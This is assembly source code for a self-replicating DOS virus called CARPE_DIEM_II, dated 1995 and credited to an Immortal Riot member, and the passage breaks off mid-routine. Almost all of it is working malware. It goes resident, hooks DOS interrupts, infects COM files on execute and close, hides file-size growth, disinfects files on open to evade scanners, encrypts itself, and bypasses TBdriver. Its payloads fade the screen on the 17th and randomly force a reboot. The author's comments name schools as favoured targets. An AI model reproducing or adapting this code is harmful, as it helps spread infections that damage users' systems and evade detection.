2022-08-21 09:07:57 +00:00
|
|
|
|
; This is some version of CARPE_DIEM_II.
|
|
|
|
|
|
|
|
|
|
; First of all - I would like to thank the following people for
|
|
|
|
|
; helping me out:
|
|
|
|
|
|
|
|
|
|
; Blonde - Without your assistence, this virus would be no
|
|
|
|
|
; full stealth virus, hurray for you.
|
|
|
|
|
; Conzouler - For general assistence concerning bug-eliminating.
|
|
|
|
|
; Stormbringer - For writing code which make sense.
|
|
|
|
|
; Priest - For the code-fragments included, hints, ideas,
|
|
|
|
|
; and happy comments!
|
|
|
|
|
|
|
|
|
|
; Anyhow, you've seen nearly seen this before. But it has (again)
|
|
|
|
|
; taken a new shape.
|
|
|
|
|
|
|
|
|
|
; I would like to point out that this version is under no circumstances
|
|
|
|
|
; destructive. It might bug sometime while spreading in weird invoroments,
|
|
|
|
|
; but since I run pure DOS myself - I havn't done a depth in study
|
|
|
|
|
; conserning how and when. Deal with it.
|
|
|
|
|
|
|
|
|
|
; The name is a bit confusing I think. I.e. I find the quation from
|
|
|
|
|
; Horatius (partly) wrong.
|
|
|
|
|
|
|
|
|
|
; The greek - swedish - english translation could read something like:
|
|
|
|
|
|
|
|
|
|
; "Seize the day and trust as less as possible on the future. . . "
|
|
|
|
|
|
|
|
|
|
; ... but since the future isn't tommorow, but now, I find it a
|
|
|
|
|
; bit irritating. Ah well.
|
|
|
|
|
|
|
|
|
|
; Anyhow - it's an old simply com-infector, and since it infects
|
|
|
|
|
; com-files only - it won't spread very far. But since my favorite
|
|
|
|
|
; targets are schools and since my mission is to annoy them as
|
|
|
|
|
; much as possible (with payloads), I reckon it does its work good
|
|
|
|
|
; enough. (Ask Billy The Kid's sysadm! :)).
|
|
|
|
|
|
|
|
|
|
; It isn't too visible since it will stealth file-size increases,
|
|
|
|
|
; and disinfect files opened. It has though some pretty visible
|
|
|
|
|
; payloads (black-to white color-fade all the time the 17.ten and
|
|
|
|
|
; it might print and reboot sometimes. . ).
|
|
|
|
|
|
|
|
|
|
; It includes encryption, soft-anti-debugging, anti-tb*, otherwise,
|
|
|
|
|
; it's pretty much your average virus.
|
|
|
|
|
|
|
|
|
|
; Further greetings goes out to all of VLAD and all of #virus :).
|
|
|
|
|
|
|
|
|
|
; Sincerly - The Unforgiven, Immortal Riot - National Malware Developemt, 1995.
|
|
|
|
|
|
|
|
|
|
.model tiny
|
|
|
|
|
.code
|
|
|
|
|
org 100h
|
|
|
|
|
|
|
|
|
|
vir_size equ end_of_virus-start_of_virus
|
|
|
|
|
|
|
|
|
|
start_of_virus:
|
|
|
|
|
vstart:
|
|
|
|
|
|
|
|
|
|
jmp entry_point
|
|
|
|
|
|
|
|
|
|
install:
|
|
|
|
|
|
|
|
|
|
mov ah,2ah ;get date
|
|
|
|
|
int 21h
|
|
|
|
|
cmp dl,17d ;day = 17?
|
|
|
|
|
jne get ;naw!
|
|
|
|
|
mov cs:[activate_flag],1 ;yeh!
|
|
|
|
|
|
|
|
|
|
get:
|
|
|
|
|
mov ah,4ah ;Installation check for the runtime
|
|
|
|
|
mov bx,0FFFFH ;part. (This is overkill)
|
|
|
|
|
mov cx,0bebeh
|
|
|
|
|
int 21h
|
|
|
|
|
cmp ax,cx ;ax=cx=0bebe?
|
|
|
|
|
jne not_res ;no!
|
|
|
|
|
jmp already_resident
|
|
|
|
|
|
|
|
|
|
not_res:
|
|
|
|
|
mov ah,4ah ;Use normal DOS-functions to
|
|
|
|
|
sub bx,(vir_size+15)/16+1 ;fix the TSR part.
|
|
|
|
|
int 21h ;(c) DA/PS ??
|
|
|
|
|
|
|
|
|
|
mov ah,48h ;allocate enough room for our code
|
|
|
|
|
mov bx,(vir_size+15)/16
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
dec ax ;ax-1 = MCB for allocated memory
|
|
|
|
|
mov es,ax ;es=segment
|
|
|
|
|
mov word ptr es:[1],8 ;Mark DOS as owner
|
|
|
|
|
|
|
|
|
|
push cs ;cs=ds
|
|
|
|
|
pop ds
|
|
|
|
|
|
|
|
|
|
cld ;clear direction for string operations
|
|
|
|
|
sub ax,0fh ;100h bytes from allocstart
|
|
|
|
|
mov es,ax ;es:[100h] = start of allocated memory
|
|
|
|
|
mov di,100h
|
|
|
|
|
lea si,[bp+offset start_of_virus]
|
|
|
|
|
mov cx,(vir_size+1)/2 ;copy entire virus to memory
|
|
|
|
|
rep movsw
|
|
|
|
|
|
|
|
|
|
push es ;es=ds
|
|
|
|
|
pop ds
|
|
|
|
|
|
|
|
|
|
mov ax,3521h ;get interrupt vector from es:bx for
|
|
|
|
|
int 21h ;int21h
|
|
|
|
|
|
|
|
|
|
tb_lup:
|
|
|
|
|
cmp word ptr es:[bx],05ebh ;check for short jump
|
|
|
|
|
jne no_tbdriver
|
|
|
|
|
cmp byte ptr es:[bx+2],0eah ;and for far jump to next int handler
|
|
|
|
|
jne no_tbdriver
|
|
|
|
|
les bx,es:[bx+3] ;if found TBdriver, get next int
|
|
|
|
|
jmp tb_lup ;handler and use that as int 21 adr
|
|
|
|
|
|
|
|
|
|
no_tbdriver:
|
|
|
|
|
|
|
|
|
|
mov word ptr ds:[Org21ofs],bx ;save segment:offset for int21h
|
|
|
|
|
mov word ptr ds:[Org21seg],es ;in a word each
|
|
|
|
|
|
|
|
|
|
cmp byte ptr cs:[activate_flag],1
|
|
|
|
|
jne skip_08_get ;not the 17:ten!
|
|
|
|
|
|
|
|
|
|
mov al,08h
|
|
|
|
|
int 21h
|
|
|
|
|
mov word ptr ds:[org08ofs],bx
|
|
|
|
|
mov word ptr ds:[org08seg],es
|
|
|
|
|
|
|
|
|
|
skip_08_get:
|
|
|
|
|
|
|
|
|
|
mov al,09h ;get interrupt vector for int09h
|
|
|
|
|
int 21h ;as well as
|
|
|
|
|
mov word ptr ds:[org09ofs],bx
|
|
|
|
|
mov word ptr ds:[org09seg],es
|
|
|
|
|
|
|
|
|
|
mov dx, offset new_int21h ;set new int.vector for 21h to ds:dx
|
|
|
|
|
mov ax,2521h
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
cmp byte ptr cs:[activate_flag],1 ;day = 17?
|
|
|
|
|
jne skip_08_set ;no!
|
|
|
|
|
|
|
|
|
|
mov dx, offset new_08h
|
|
|
|
|
mov al,08h
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
skip_08_set:
|
|
|
|
|
mov dx,offset new_09h ;09
|
|
|
|
|
mov al,09h
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
already_resident:
|
|
|
|
|
tbdriver:
|
|
|
|
|
mov di,100h ;transer back control to the infected
|
|
|
|
|
push di ;host program.
|
|
|
|
|
push cs ;make cs=ds=es
|
|
|
|
|
push cs
|
|
|
|
|
pop es
|
|
|
|
|
pop ds
|
|
|
|
|
lea si,[bp+orgjmp] ;move orgjmp of 4 bytes to the
|
|
|
|
|
movsw ;correct (100h) memory adress.
|
|
|
|
|
movsw
|
|
|
|
|
exit:
|
|
|
|
|
ret ;and exit!
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
|
; This is the new int21h Handler
|
|
|
|
|
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
|
new_int21h:
|
|
|
|
|
cmp ah,4ah ;ah=4ah?
|
|
|
|
|
jne chk_exec ;no!
|
|
|
|
|
cmp bx,0ffffh ;bx = -1?
|
|
|
|
|
jne no_match ;no!
|
|
|
|
|
cmp cx,0bebeh ;cx = 0bebeh?
|
|
|
|
|
jne no_match ;no!
|
|
|
|
|
mov ax,cx ;=> Installation check, move bebe into ax
|
|
|
|
|
iret ;and return (ax=cx=0bebeh)
|
|
|
|
|
|
|
|
|
|
chk_exec:
|
|
|
|
|
cmp ax,4b00h ;infect on execute
|
|
|
|
|
je go_infect
|
|
|
|
|
|
|
|
|
|
chk_close:
|
|
|
|
|
cmp ah,3eh ;infect on file-closes
|
|
|
|
|
je go_close
|
|
|
|
|
|
|
|
|
|
cmp ah,3dh ;normal file-open? - Disinfect
|
|
|
|
|
je go_disinfect
|
|
|
|
|
|
|
|
|
|
chk_dir:
|
|
|
|
|
cmp ah,11h ;stealth file size increase on
|
|
|
|
|
je go_fcb_stealth ;directory listenings using
|
|
|
|
|
cmp ah,12h ;functions 11/12/4e/4fh
|
|
|
|
|
je go_fcb_stealth
|
|
|
|
|
|
|
|
|
|
cmp ah,4eh
|
|
|
|
|
je go_handle_stealth
|
|
|
|
|
|
|
|
|
|
cmp ah,4fh
|
|
|
|
|
je go_handle_stealth
|
|
|
|
|
|
|
|
|
|
no_match:
|
|
|
|
|
jmp do_oldint21h ;jmp org vector
|
|
|
|
|
|
|
|
|
|
go_infect:
|
|
|
|
|
jmp infect
|
|
|
|
|
|
|
|
|
|
go_close:
|
|
|
|
|
call setcritical
|
|
|
|
|
jmp infect_close
|
|
|
|
|
|
|
|
|
|
go_disinfect:
|
|
|
|
|
call setcritical
|
|
|
|
|
jmp open_disinfect
|
|
|
|
|
|
|
|
|
|
go_fcb_stealth:
|
|
|
|
|
jmp hide_dir
|
|
|
|
|
|
|
|
|
|
go_handle_stealth:
|
|
|
|
|
jmp hide_dir2
|
|
|
|
|
|
|
|
|
|
dps db "CARPE_DIEM_II - FLOATING THROUGH THE VOID!",7,0 ;CC
|
|
|
|
|
|
|
|
|
|
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
|
; This is the new int08h Handler
|
|
|
|
|
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
|
new_08h:
|
|
|
|
|
push ax ;Toy with the black-ground color!!
|
|
|
|
|
push dx
|
|
|
|
|
mov dx,03c8h
|
|
|
|
|
xor al,al
|
|
|
|
|
out dx,al
|
|
|
|
|
inc dx
|
|
|
|
|
mov al,[cs:bgcol]
|
|
|
|
|
out dx,al
|
|
|
|
|
out dx,al
|
|
|
|
|
out dx,al
|
|
|
|
|
inc [cs:bgcol]
|
|
|
|
|
pop dx
|
|
|
|
|
pop ax
|
|
|
|
|
|
|
|
|
|
do_old08h:
|
|
|
|
|
db 0eah ;and jump to saved vector for int08h
|
|
|
|
|
org08ofs dw ?
|
|
|
|
|
org08seg dw ?
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
|
; This is the new int09h Handler
|
|
|
|
|
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
|
new_09h:
|
|
|
|
|
push ax ;preserve register in use
|
|
|
|
|
push ds
|
|
|
|
|
|
|
|
|
|
xor ax,ax
|
|
|
|
|
mov ds,ax ;ds=0
|
|
|
|
|
|
|
|
|
|
in al,60h ;read key
|
|
|
|
|
cmp al,53h ;delete?
|
|
|
|
|
jnz no_ctrl_alt_del ;no!
|
|
|
|
|
|
|
|
|
|
test byte ptr ds:[0417h],0ch ;test for alt-ctrl
|
|
|
|
|
je no_ctrl_alt_del ;no. .
|
|
|
|
|
|
|
|
|
|
in al,41h ;get random value
|
|
|
|
|
test al,11111b ;2^5 = 32
|
|
|
|
|
jne no_ctrl_alt_del ;value doesnt match!
|
|
|
|
|
|
|
|
|
|
push cs ;cs=ds
|
|
|
|
|
pop ds
|
|
|
|
|
|
|
|
|
|
mov ax,3 ;set grafic mode (text)
|
|
|
|
|
int 10h
|
|
|
|
|
|
|
|
|
|
mov ah,2 ;set cursor pos
|
|
|
|
|
xor bh,bh
|
|
|
|
|
mov dx,0A14h ;10,20d (middle)
|
|
|
|
|
int 10h
|
|
|
|
|
|
|
|
|
|
mov ah,1 ;set cursor
|
|
|
|
|
mov cx,2020h ;>nul
|
|
|
|
|
int 10h
|
|
|
|
|
|
|
|
|
|
mov si,offset dps ;point to v_name
|
|
|
|
|
|
|
|
|
|
all_chars:
|
|
|
|
|
loop all_chars
|
|
|
|
|
lodsb ;load string by byte from dps
|
|
|
|
|
or al,al ;end of string? (al=0)
|
|
|
|
|
je cold_boot ;yes, make a cold boot
|
|
|
|
|
|
|
|
|
|
mov ah,0Eh ;display character from string
|
|
|
|
|
int 10h
|
|
|
|
|
|
|
|
|
|
jmp short all_chars ;put next char to string
|
|
|
|
|
|
|
|
|
|
cold_boot:
|
|
|
|
|
db 0eah ;jmp far ptr
|
|
|
|
|
db 00h, 00h, 0ffh, 0ffh ;coldboot vector
|
|
|
|
|
|
|
|
|
|
no_ctrl_alt_del:
|
|
|
|
|
pop ds ;restore registers
|
|
|
|
|
pop ax
|
|
|
|
|
|
|
|
|
|
do_oldint09h:
|
|
|
|
|
db 0eah ;and jump to saved vector for int09h
|
|
|
|
|
org09ofs dw ?
|
|
|
|
|
org09seg dw ?
|
|
|
|
|
|
|
|
|
|
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
|
; This will fool directory listenings using FCBs
|
|
|
|
|
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
|
hide_dir: ;FCB stealth routine
|
|
|
|
|
pushf ;simulate a int call with pushf
|
|
|
|
|
push cs ;and cs, ip on the stack
|
|
|
|
|
call do_oldint21h
|
|
|
|
|
or al,al ;was the dir call successfull??
|
|
|
|
|
jnz skip_dir ;naw!
|
|
|
|
|
|
|
|
|
|
push ax
|
|
|
|
|
push bx
|
|
|
|
|
push es
|
|
|
|
|
|
|
|
|
|
mov ah,62h ;get active PSP to es:bx (51h as well)
|
|
|
|
|
int 21h
|
|
|
|
|
mov es,bx
|
|
|
|
|
cmp bx,es:[16h] ;PSP belongs to dos?
|
|
|
|
|
jnz bad_psp ;no, we don't want chkdsk fuck-up's!
|
|
|
|
|
|
|
|
|
|
mov bx,dx
|
|
|
|
|
mov al,[bx] ;al holds current drive - FFh means
|
|
|
|
|
push ax ;extended FCB
|
|
|
|
|
mov ah,2fh ;get DTA-area
|
|
|
|
|
int 21h
|
|
|
|
|
pop ax
|
|
|
|
|
inc al ;is it an extended FCB
|
|
|
|
|
jnz no_ext
|
|
|
|
|
add bx,7 ;if so add 7 to skip garbage
|
|
|
|
|
no_ext:
|
|
|
|
|
mov al,byte ptr es:[bx+17h] ;get seconds field
|
|
|
|
|
and al,1fh
|
|
|
|
|
xor al,1dh ;is the file infected??
|
|
|
|
|
jnz no_stealth ;if not - don't hide size
|
|
|
|
|
|
|
|
|
|
cmp word ptr es:[bx+1dh],vir_size-3 ;if a file with same seconds
|
|
|
|
|
jbe no_stealth ;as an infected is smaller -
|
|
|
|
|
sub word ptr es:[bx+1dh],vir_size-3 ;don't hide size
|
|
|
|
|
no_stealth:
|
|
|
|
|
bad_psp:
|
|
|
|
|
pop es
|
|
|
|
|
pop bx
|
|
|
|
|
pop ax
|
|
|
|
|
skip_dir:
|
|
|
|
|
iret
|
|
|
|
|
|
|
|
|
|
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
|
; This will fool directory listenings using File Handles
|
|
|
|
|
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
|
hide_dir2:
|
|
|
|
|
|
|
|
|
|
pushf
|
|
|
|
|
push cs
|
|
|
|
|
call do_oldint21h
|
|
|
|
|
|
|
|
|
|
jc no_files
|
|
|
|
|
|
|
|
|
|
pushf
|
|
|
|
|
push ax
|
|
|
|
|
push di
|
|
|
|
|
push es
|
|
|
|
|
push bx
|
|
|
|
|
|
|
|
|
|
mov ah,2fh ;Get DTA-area
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
mov di,bx
|
|
|
|
|
add di,1eh
|
|
|
|
|
cld
|
|
|
|
|
mov cx,9 ;scan for the dot which
|
|
|
|
|
mov al,'.' ;extension
|
|
|
|
|
repne scasb ;
|
|
|
|
|
jne not_inf
|
|
|
|
|
|
|
|
|
|
cmp word ptr es:[di],'OC' ;CO?
|
|
|
|
|
jne not_inf ;yeh!
|
|
|
|
|
|
|
|
|
|
cmp byte ptr es:[di+2],'M' ;COM?
|
|
|
|
|
jne not_inf ;yeh!
|
|
|
|
|
|
|
|
|
|
mov ax,es:[bx+16h] ;ask file time
|
|
|
|
|
and al,1fh
|
|
|
|
|
xor al,1dh ;is the file infected??
|
|
|
|
|
jnz not_inf
|
|
|
|
|
|
|
|
|
|
cmp word ptr es:[bx+1ah],vir_size ;dont stealth too small
|
|
|
|
|
ja hide ;files
|
|
|
|
|
|
|
|
|
|
cmp word ptr es:[bx+1ch],0 ;or too damn big files
|
|
|
|
|
je not_inf
|
|
|
|
|
|
|
|
|
|
hide:
|
|
|
|
|
sub es:[bx+1ah],vir_size-3 ;<- no, its not a SUB-routine! :)
|
|
|
|
|
|
|
|
|
|
not_inf:
|
|
|
|
|
pop bx
|
|
|
|
|
pop es
|
|
|
|
|
pop di
|
|
|
|
|
pop ax
|
|
|
|
|
popf
|
|
|
|
|
|
|
|
|
|
no_files:
|
|
|
|
|
retf 2 ;return and pop 2 of stack
|
|
|
|
|
|
|
|
|
|
infect_close:
|
|
|
|
|
push es
|
|
|
|
|
push bp
|
|
|
|
|
push ax
|
|
|
|
|
push bx
|
|
|
|
|
push cx
|
|
|
|
|
push si
|
|
|
|
|
push di
|
|
|
|
|
push ds
|
|
|
|
|
push dx
|
|
|
|
|
cmp bx,4 ;don't close null, aux and so
|
|
|
|
|
jbe no_close
|
|
|
|
|
|
|
|
|
|
call check_name ;es:di points to file name
|
|
|
|
|
add di,8 ;es:di points to extension
|
|
|
|
|
cmp word ptr es:[di],'OC'
|
|
|
|
|
jne no_close
|
|
|
|
|
cmp byte ptr es:[di+2],'M' ;if COM infect it!
|
|
|
|
|
je close_infection
|
|
|
|
|
|
|
|
|
|
no_close:
|
|
|
|
|
pop dx ;No comfile!
|
|
|
|
|
pop ds
|
|
|
|
|
pop di
|
|
|
|
|
pop si
|
|
|
|
|
pop cx
|
|
|
|
|
pop bx
|
|
|
|
|
pop ax
|
|
|
|
|
pop bp
|
|
|
|
|
pop es
|
|
|
|
|
|
|
|
|
|
jmp do_oldint21h
|
|
|
|
|
|
|
|
|
|
close_infection:
|
|
|
|
|
mov byte ptr es:[di-26h],2 ;mark read & write access
|
|
|
|
|
mov cs:Closeflag,1 ;raise closeflag for exit procedure
|
|
|
|
|
|
|
|
|
|
mov ax,4200h ;rewind file
|
|
|
|
|
xor cx,cx
|
|
|
|
|
cwd
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
jmp short infect_on_close ;infect it
|
|
|
|
|
check_name:
|
|
|
|
|
push bx
|
|
|
|
|
mov ax,1220h ;get job file table for handle at es:di
|
|
|
|
|
int 2fh
|
|
|
|
|
|
|
|
|
|
mov ax,1216h ;get system file table
|
|
|
|
|
mov bl,byte ptr es:[di] ;for handle index in bx
|
|
|
|
|
int 2fh
|
|
|
|
|
pop bx
|
|
|
|
|
add di,20h ;es:di+20h points to file name
|
|
|
|
|
ret ;return
|
|
|
|
|
|
|
|
|
|
infect:
|
|
|
|
|
push es
|
|
|
|
|
push bp
|
|
|
|
|
push ax
|
|
|
|
|
push bx
|
|
|
|
|
push cx
|
|
|
|
|
push si
|
|
|
|
|
push di
|
|
|
|
|
push ds
|
|
|
|
|
push dx
|
|
|
|
|
|
|
|
|
|
call setcritical
|
|
|
|
|
|
|
|
|
|
mov cs:Closeflag,0 ;make sure closeflag is off
|
|
|
|
|
mov ax,4300h ;get attrib
|
|
|
|
|
int 21h
|
|
|
|
|
push cx ;save attrib onto the stack
|
|
|
|
|
mov ax,4301h ;clear attrib
|
|
|
|
|
xor cx,cx
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
mov ax,3d02h ;open file
|
|
|
|
|
pushf
|
|
|
|
|
push cs
|
|
|
|
|
call do_oldint21h
|
|
|
|
|
|
|
|
|
|
xchg ax,bx ;bx = file handle
|
|
|
|
|
|
|
|
|
|
infect_on_close: ;entry for infection on 3eh
|
|
|
|
|
|
|
|
|
|
push cs ;cs=ds
|
|
|
|
|
pop ds
|
|
|
|
|
|
|
|
|
|
mov ax,5700h ;get time/date
|
|
|
|
|
int 21h
|
|
|
|
|
push cx ;save time/date onto the stack
|
|
|
|
|
push dx
|
|
|
|
|
|
|
|
|
|
mov ah,3fh ;read three bytes to orgjmp
|
|
|
|
|
mov cx,4
|
|
|
|
|
mov dx,offset ds:orgjmp
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
cmp word ptr ds:orgjmp,'ZM' ;check if .EXE file
|
|
|
|
|
je exe_file
|
|
|
|
|
cmp word ptr ds:orgjmp,'MZ'
|
|
|
|
|
je exe_file ;if so - don't infect
|
|
|
|
|
|
|
|
|
|
; cmp byte ptr ds:orgjmp+1,'m' ;dont infect command.com
|
|
|
|
|
; je skip_infect ;beta versions ONLY!
|
|
|
|
|
|
|
|
|
|
cmp byte ptr ds:orgjmp+3,'' ;dont reinfect files!
|
|
|
|
|
jne lseek_eof
|
|
|
|
|
jmp short skip_infect
|
|
|
|
|
|
|
|
|
|
exe_file:
|
|
|
|
|
mov cs:exeflag,1 ;mark file as EXE-file, and
|
|
|
|
|
jmp short skip_infect ;don't set second value for it!
|
|
|
|
|
|
|
|
|
|
lseek_eof:
|
|
|
|
|
mov ax,4202h ;go end of file, offset in dx:cx
|
|
|
|
|
xor cx,cx ;and return file size in dx:ax.
|
|
|
|
|
xor dx,dx
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
cmp ax,(0FFFFH-Vir_size) ;file is too big?
|
|
|
|
|
jae skip_infect ;yeh
|
|
|
|
|
cmp ax,(vir_size-100h) ;file is too small?
|
|
|
|
|
jb skip_infect ;yeh
|
|
|
|
|
|
|
|
|
|
add ax,offset entry_point-106h ;calculate entry offset to jmp
|
|
|
|
|
mov word ptr ds:newjmp[1],ax ;move it to newjmp
|
|
|
|
|
|
|
|
|
|
get_rnd:
|
|
|
|
|
mov ah,2ch ;get random number and put enc_val
|
|
|
|
|
int 21h
|
|
|
|
|
or dl,dl ;dl=0 - get another value!
|
|
|
|
|
je get_rnd
|
|
|
|
|
mov word ptr ds:enc_val,dx
|
|
|
|
|
mov ax,08d00h ;copy entire virus to 8d00h:100h
|
|
|
|
|
mov es,ax
|
|
|
|
|
mov di,100h
|
|
|
|
|
mov si,di
|
|
|
|
|
mov cx,(vir_size+1)/2
|
|
|
|
|
rep movsw
|
|
|
|
|
push es
|
|
|
|
|
pop ds
|
|
|
|
|
xor bp,bp ;and encrypt it there
|
|
|
|
|
call encrypt
|
|
|
|
|
|
|
|
|
|
mov ah,40h ;write virus to file from position
|
|
|
|
|
mov cx,end_of_virus-install ;08d00h:100h
|
|
|
|
|
mov dx,offset install
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
push cs ;cs=ds
|
|
|
|
|
pop ds
|
|
|
|
|
|
|
|
|
|
mov ax,4200h ;go to beginning of file
|
|
|
|
|
xor cx,cx
|
|
|
|
|
cwd
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
mov ah,40h ;and write a new-jmp-construct
|
|
|
|
|
mov cx,4 ;of 4 bytes (4byte=infection marker)
|
|
|
|
|
mov dx,offset newjmp
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
skip_infect:
|
|
|
|
|
mov ax,5701h ;restore
|
|
|
|
|
pop dx ;date
|
|
|
|
|
pop cx ;time
|
|
|
|
|
cmp byte ptr cs:[exeflag],1 ;exe file?
|
|
|
|
|
je skip_sec ;if so - keep the sec_value intact
|
|
|
|
|
or cl,00011101b ;and give com-files second value
|
|
|
|
|
and cl,11111101b ;29
|
|
|
|
|
skip_sec:
|
|
|
|
|
int 21h
|
|
|
|
|
cmp byte ptr cs:[Closeflag],1 ;check if execute or close infeection,
|
|
|
|
|
je dont_close ;if infect on close, dont close file
|
|
|
|
|
|
|
|
|
|
close_file:
|
|
|
|
|
mov ah,3eh ;close the file which were executed
|
|
|
|
|
int 21h
|
|
|
|
|
pop cx ;get original file-attribs
|
|
|
|
|
dont_close:
|
|
|
|
|
pop dx ;ds:dx = filename
|
|
|
|
|
pop ds
|
|
|
|
|
cmp byte ptr cs:[Closeflag],1
|
|
|
|
|
je exit_close
|
|
|
|
|
mov ax,4301h ;set back saved attribute
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
exit_close:
|
|
|
|
|
mov byte ptr cs:closeflag,0
|
|
|
|
|
call resetcritical
|
|
|
|
|
pop di
|
|
|
|
|
pop si
|
|
|
|
|
pop cx
|
|
|
|
|
pop bx
|
|
|
|
|
pop ax
|
|
|
|
|
pop bp
|
|
|
|
|
pop es
|
|
|
|
|
|
|
|
|
|
do_oldint21h:
|
|
|
|
|
O21h:
|
|
|
|
|
db 0eah ;jmp far ptr
|
|
|
|
|
org21ofs dw ? ;s:o to
|
|
|
|
|
org21seg dw ? ;int21h
|
|
|
|
|
|
|
|
|
|
ret ;call to DOS. . . return!
|
|
|
|
|
|
|
|
|
|
vir db "SVW: The Unforgiven/Immortal Riot",0
|
|
|
|
|
fcl db "Fuck Corporate Life!",0 ;I agree you SB!
|
|
|
|
|
|
|
|
|
|
closeflag db 0 ;0 if exec 1 if close
|
|
|
|
|
exeflag db 0
|
|
|
|
|
activate_flag db 0
|
|
|
|
|
bgcol db 0
|
|
|
|
|
newjmp db 0e9h,00h,00h,'' ;buffer to calculate a new entry
|
|
|
|
|
|
|
|
|
|
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
|
; Cheesy primitive disinfecting-on-the-fly routine
|
|
|
|
|
;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
|
open_disinfect: ;ds:dx=filename...
|
|
|
|
|
push ax
|
|
|
|
|
push bx
|
|
|
|
|
push cx
|
|
|
|
|
push dx
|
|
|
|
|
push di
|
|
|
|
|
push si
|
|
|
|
|
push ds
|
|
|
|
|
push es ;save all regs/segs...
|
|
|
|
|
|
|
|
|
|
push ds
|
|
|
|
|
pop es ;ds=es
|
|
|
|
|
|
|
|
|
|
mov cx,64 ;scan for the dot which
|
|
|
|
|
mov di,dx ;seperates filename from
|
|
|
|
|
mov al,'.' ;extension
|
|
|
|
|
cld ;clear direction
|
|
|
|
|
repne scasb ;
|
|
|
|
|
|
|
|
|
|
cmp word ptr ds:[di],'OC' ;CO?
|
|
|
|
|
je smallc ;yeh!
|
|
|
|
|
cmp word ptr ds:[di],'oc' ;co?
|
|
|
|
|
jne nocom ;naw!
|
|
|
|
|
|
|
|
|
|
smallc:
|
|
|
|
|
cmp byte ptr ds:[di+2],'M' ;COM?
|
|
|
|
|
je open_com ;yeh!
|
|
|
|
|
cmp byte ptr ds:[di+2],'m' ;com?
|
|
|
|
|
je open_com ;yeh!
|
|
|
|
|
|
|
|
|
|
nocom:
|
|
|
|
|
jmp no_opendis ;no com-file being opened!
|
|
|
|
|
|
|
|
|
|
open_com:
|
|
|
|
|
mov ax,3d02h ;open file with r/w access
|
|
|
|
|
pushf
|
|
|
|
|
push cs
|
|
|
|
|
call o21h
|
|
|
|
|
|
|
|
|
|
xchg bx,ax ;put filehandle in BX
|
|
|
|
|
|
|
|
|
|
push cs ;cs=ds=es
|
|
|
|
|
pop ds
|
|
|
|
|
push ds
|
|
|
|
|
pop es
|
|
|
|
|
|
|
|
|
|
mov ax,5700h ;get file info
|
|
|
|
|
int 21h
|
|
|
|
|
push cx ;save time
|
|
|
|
|
push dx ;and date
|
|
|
|
|
|
|
|
|
|
and cl,1fh ;see if seconds = 29
|
|
|
|
|
xor cl,1dh
|
|
|
|
|
jne close_dis ;is not!
|
|
|
|
|
|
|
|
|
|
mov ah,3fh ;read first four bytes
|
|
|
|
|
mov cx,4 ;to orgjmp
|
|
|
|
|
mov dx,offset ds:orgjmp
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
cmp byte ptr ds:orgjmp,0e9h ;first byte = jmp?
|
|
|
|
|
jne close_dis ;no!
|
|
|
|
|
|
|
|
|
|
cmp byte ptr ds:orgjmp+3,'' ;infected?
|
|
|
|
|
jne close_dis ;naw!
|
|
|
|
|
|
|
|
|
|
mov ax,4202h ;seek end of file
|
|
|
|
|
cwd
|
|
|
|
|
xor cx,cx
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
mov dx,ax ;dx=ax=file size
|
|
|
|
|
sub ax,(vend-install+3) ;substract orgjmp
|
|
|
|
|
|
|
|
|
|
push dx ;save file size on stack
|
|
|
|
|
xor ax,ax ;zero AX
|
|
|
|
|
|
|
|
|
|
sub dx,(vend-orgjmp) ;seek orgjmp location
|
|
|
|
|
xor cx,cx ;in the infected file
|
|
|
|
|
mov ah,42h
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
mov ah,3fh ;read the original jump
|
|
|
|
|
mov cx,4 ;to orgjmp in memory
|
|
|
|
|
mov dx,offset ds:orgjmp
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
xor ax,ax ;zero AX
|
|
|
|
|
|
|
|
|
|
cwd ;seek beginning of file
|
|
|
|
|
xor cx,cx
|
|
|
|
|
mov ah,42h
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
mov ah,40h ;write the original saved jmp
|
|
|
|
|
mov dx,offset orgjmp ;to top of file
|
|
|
|
|
mov cx,4
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
pop dx ;restore infected file size
|
|
|
|
|
|
|
|
|
|
